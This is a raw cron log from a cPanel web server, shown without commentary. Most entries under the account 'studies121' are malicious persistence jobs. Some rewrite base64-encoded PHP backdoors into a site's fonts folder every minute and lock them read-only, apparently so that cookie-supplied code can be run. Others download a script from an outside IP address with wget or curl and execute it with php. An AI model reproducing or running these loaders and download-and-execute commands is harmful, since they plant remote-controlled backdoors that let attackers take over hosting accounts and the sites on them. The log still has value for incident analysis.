Feb 22 14:41:01 ip-184-168-122-23 CROND[24019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:42:01 ip-184-168-122-23 CROND[24327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:42:01 ip-184-168-122-23 CROND[24331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:42:01 ip-184-168-122-23 CROND[24329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:42:01 ip-184-168-122-23 CROND[24332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:42:01 ip-184-168-122-23 CROND[24330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:43:01 ip-184-168-122-23 CROND[24737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:43:01 ip-184-168-122-23 CROND[24740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:43:01 ip-184-168-122-23 CROND[24739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:43:01 ip-184-168-122-23 CROND[24741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:44:01 ip-184-168-122-23 CROND[25041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:44:01 ip-184-168-122-23 CROND[25042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:44:01 ip-184-168-122-23 CROND[25043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:44:01 ip-184-168-122-23 CROND[25044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:44:01 ip-184-168-122-23 CROND[25046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:45:01 ip-184-168-122-23 CROND[25420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:45:01 ip-184-168-122-23 CROND[25419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:45:01 ip-184-168-122-23 CROND[25422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:45:02 ip-184-168-122-23 CROND[25424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:45:02 ip-184-168-122-23 CROND[25425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:45:02 ip-184-168-122-23 CROND[25427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:46:01 ip-184-168-122-23 CROND[25751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:46:01 ip-184-168-122-23 CROND[25753]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 14:46:01 ip-184-168-122-23 CROND[25757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:46:01 ip-184-168-122-23 CROND[25754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:46:01 ip-184-168-122-23 CROND[25756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:46:01 ip-184-168-122-23 CROND[25755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:47:01 ip-184-168-122-23 CROND[26075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:47:01 ip-184-168-122-23 CROND[26077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:47:01 ip-184-168-122-23 CROND[26076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:47:01 ip-184-168-122-23 CROND[26078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:48:01 ip-184-168-122-23 CROND[26426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:48:01 ip-184-168-122-23 CROND[26425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:48:01 ip-184-168-122-23 CROND[26430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:48:01 ip-184-168-122-23 CROND[26429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:48:01 ip-184-168-122-23 CROND[26431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:49:01 ip-184-168-122-23 CROND[26714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:49:01 ip-184-168-122-23 CROND[26715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:49:01 ip-184-168-122-23 CROND[26716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:49:01 ip-184-168-122-23 CROND[26717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:50:01 ip-184-168-122-23 CROND[27022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:50:01 ip-184-168-122-23 CROND[27024]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 14:50:01 ip-184-168-122-23 CROND[27026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:50:01 ip-184-168-122-23 CROND[27027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:50:01 ip-184-168-122-23 CROND[27028]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 14:50:01 ip-184-168-122-23 CROND[27029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:50:01 ip-184-168-122-23 CROND[27031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 14:50:01 ip-184-168-122-23 CROND[27032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:50:01 ip-184-168-122-23 CROND[27034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 14:51:01 ip-184-168-122-23 CROND[27350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:51:01 ip-184-168-122-23 CROND[27351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:51:01 ip-184-168-122-23 CROND[27353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:51:01 ip-184-168-122-23 CROND[27357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:52:01 ip-184-168-122-23 CROND[27664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:52:01 ip-184-168-122-23 CROND[27668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 14:52:01 ip-184-168-122-23 CROND[27666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:52:01 ip-184-168-122-23 CROND[27667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:52:01 ip-184-168-122-23 CROND[27669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:53:01 ip-184-168-122-23 CROND[28090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 14:53:01 ip-184-168-122-23 CROND[28089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 14:53:01 ip-184-168-122-23 CROND[28091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 14:53:01 ip-184-168-122-23 CROND[28092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 14:54:01 ip-184-168-122-23 CROND[28414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
